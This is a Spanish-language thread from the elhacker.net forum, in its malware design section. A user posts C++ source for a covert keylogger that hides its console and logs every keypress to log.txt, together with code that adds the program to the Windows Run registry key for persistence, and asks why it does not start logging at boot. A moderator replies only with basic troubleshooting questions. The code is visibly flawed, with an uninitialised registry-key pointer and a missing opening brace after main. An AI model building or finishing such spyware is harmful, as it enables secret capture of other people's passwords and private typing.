elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Estamos en la red social de Mastodon


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Análisis y Diseño de Malware (Moderador: fary)
| | |-+  Ejecutar .exe al iniciar el equipo
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Ejecutar .exe al iniciar el equipo  (Leído 3,288 veces)
Dacan

Desconectado Desconectado

Mensajes: 237



Ver Perfil WWW
Ejecutar .exe al iniciar el equipo
« en: 7 Febrero 2016, 07:47 am »

Estoy haciendo un keylogger en C++ y logre incluir el programa en la lista de las aplicaciones que inician con windows pero, si no lo ejecuto no comienza a registrar las teclas pulsadas en el archivo log.txt, alguna ayuda?

Este es el codigo para que me coloque el ejecutable en el registro, FUNCIONA CORRECTAMENTE de hecho en el Task Manager me sale que se esta ejecutando:

Código:
#include <iostream>
#include <windows.h>

using namespace std;

string ExePath() {
    char buffer[MAX_PATH];
    GetModuleFileName( NULL, buffer, MAX_PATH );
    string::size_type pos = string( buffer ).find_last_of( "\\/" );
    return string( buffer ).substr( 0, pos);
}

int main(int argc, char *argv[])
{
   
 HKEY * key;
 LPCTSTR ruta = TEXT("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\");
 long status = RegOpenKey(HKEY_LOCAL_MACHINE, ruta, key);
 if (status != 0)
 {
  cout << "No se puede abrir la clave" << endl;         
 }
 else
 {
  string ruta = ExePath();
  string subclave = "KeyloggerXD";
  string valor = ruta + "\\Keylogger.exe";
 
  LPCTSTR _subclave = TEXT(subclave.c_str()); 
  LPCTSTR _valor = TEXT(valor.c_str());
  long crear = RegSetValueEx(*key, _subclave, 0, REG_SZ, (LPBYTE)_valor, strlen(_valor)*sizeof(char));
  if (crear != 0)
  {
     cout << "Ha ocurrido un error al crear la subclave" << endl;       
  }
  else
  {
    cout << "Subclave creada correctamente" << endl; 
  }
 }
 
 RegCloseKey(*key);

 system("PAUSE");
 return 0;
}



Este es el codigo del keylogguer que encontre en internet, funciona bien pero si abro el ejecutable, no se pq no funciona al prender la pc:

Código:
#define _WIN32_WINNT 0x0500 //getConsoleWindow()
#include <iostream>
#include <string>
#include <map> //Array asociativo
#include <windows.h>

using namespace std;

int main(int argc, char *argv[])

    /*
    Array asociativo. la clave es el número decimal y el valor el carácter que representa.
    Está adaptado para un teclado en español. Ya que como viene configurado por defecto
    el número decimal dado no se corresponde a algunas de las teclas de un teclado en español.
    */         
    map<int, string> ch;
    ch[1] = " [mouse click] ";
    ch[2] = " [mouse menu context] ";
    ch[8] = " [Backspace] ";
    ch[9] = " [Tab] ";
    ch[13] = " [Intro] ";
    ch[16] = " [Shift] ";
    ch[17] = " [Control] ";
    ch[18] = " [Alt] ";
    ch[20] = " [Bloq Mayús] ";
    ch[27] = " [Esc] ";
    ch[32] = " ";
    ch[37] = " [Flecha izquierda] ";
    ch[38] = " [Flecha arriba] ";
    ch[39] = " [Flecha derecha] ";
    ch[40] = " [Flecha abajo] ";
    ch[44] = " [Impr Pant] ";
    ch[45] = " [Insert] ";
    ch[46] = " [Supr] ";
    ch[48] = "0";
    ch[49] = "1";
    ch[50] = "2";
    ch[51] = "3";
    ch[52] = "4";
    ch[53] = "5";
    ch[54] = "6";
    ch[55] = "7";
    ch[56] = "8";
    ch[57] = "9";
    ch[65] = "a";
    ch[66] = "b";
    ch[67] = "c";
    ch[68] = "d";
    ch[69] = "e";
    ch[70] = "f";
    ch[71] = "g";
    ch[72] = "h";
    ch[73] = "i";
    ch[74] = "j";
    ch[75] = "k";
    ch[76] = "l";
    ch[77] = "m";
    ch[78] = "n";
    ch[79] = "o";
    ch[80] = "p";
    ch[81] = "q";
    ch[82] = "r";
    ch[83] = "s";
    ch[84] = "t";
    ch[85] = "u";
    ch[86] = "v";
    ch[87] = "w";
    ch[88] = "x";
    ch[89] = "y";
    ch[90] = "z";
    ch[91] = " [Menu Windows] ";
    ch[96] = "0";
    ch[97] = "1";
    ch[98] = "2";
    ch[99] = "3";
    ch[100] = "4";
    ch[101] = "5";
    ch[102] = "6";
    ch[103] = "7";
    ch[104] = "8";
    ch[105] = "9";
    ch[106] = "*";
    ch[107] = "+";
    ch[109] = "-";
    ch[110] = ".";
    ch[111] = "/";
    ch[112] = " [F1] ";
    ch[113] = " [F2] ";
    ch[114] = " [F3] ";
    ch[115] = " [F4] ";
    ch[116] = " [F5] ";
    ch[117] = " [F6] ";
    ch[118] = " [F7] ";
    ch[119] = " [F8] ";
    ch[120] = " [F9] ";
    ch[121] = " [F10] ";
    ch[122] = " [F11] ";
    ch[123] = " [F12] ";
    ch[144] = " [ Bloq Num ] ";
    ch[145] = " [Bloq Despl] ";
    ch[186] = "`";
    ch[187] = "+";
    ch[188] = ",";
    ch[189] = "-";
    ch[190] = ".";
    ch[191] = "ç";
    ch[192] = "ñ";
    ch[219] = "'";
    ch[220] = "º";
    ch[221] = "¡";
    ch[222] = "´";
    ch[226] = "<";

 
 /* Manejador para un fichero donde se irán guardando las pulsaciones */
 FILE * log;
 /* Variable para crear un salto de línea cada 50 caracteres */
 int count = 1;
 
 /* Ocultar la consola */
 HWND hWnd = GetConsoleWindow();
 /* 0 = oculta ; 1 = visible */
 ShowWindow( hWnd, 0);
 
 /* Búcle infinito para detectar las pulsaciones de tecla */
 while (true)
 {
     /* Recorrer el número de carácteres de la tabla ASCII que son 255 */
     for (int c = 0; c < 256; c++)
     {
         /* Si una tecla es pulsada */
         if (GetAsyncKeyState(c) == -32767)
          {
             /* Abrir el fichero */
             log = fopen("log.txt", "a");
             /* Si count es igual a 10 incluir un salto de línea en el fichero */
             if (count == 10) {fputs("\n", log); count=1;}
             /* Escribir en el fichero el carácter de la tecla pulsada */
             fputs(ch[c].c_str(), log);
             /* Cerrar el fichero */
             fclose(log);
             /* Aumentar en uno el valor de count */
             count++;
         }
     }
 }     

 system("PAUSE");
 return 0;
}



Que debo hacer, se tendria que usar algun batch para que funcione?

Saludos.
En línea

fary
Moderador
***
Desconectado Desconectado

Mensajes: 1.062



Ver Perfil WWW
Re: Ejecutar .exe al iniciar el equipo
« Respuesta #1 en: 8 Febrero 2016, 14:33 pm »

¿Comprobaste que se escribio en el registro correctamente?

¿El ejecutable esta en la ruta correcta?

¿El ejecutable tiene el nombre correcto?

saludos.
En línea

Un byte a la izquierda.
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
ejecutar exe al iniciar sisteme
Programación Visual Basic
crauss 2 1,259 Último mensaje 29 Octubre 2007, 19:40 pm
por crauss
Ejecutar un .bat al apagado del equipo.(Gpedit.msc)
Scripting
flepe 8 10,050 Último mensaje 24 Mayo 2014, 01:45 am
por f7eo
MOVIDO: Ejecutar un .bat al apagado del equipo.(Gpedit.msc)
Dudas Generales
Aprendiz-Oscuro 0 1,957 Último mensaje 7 Mayo 2014, 13:53 pm
por Aprendiz-Oscuro
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines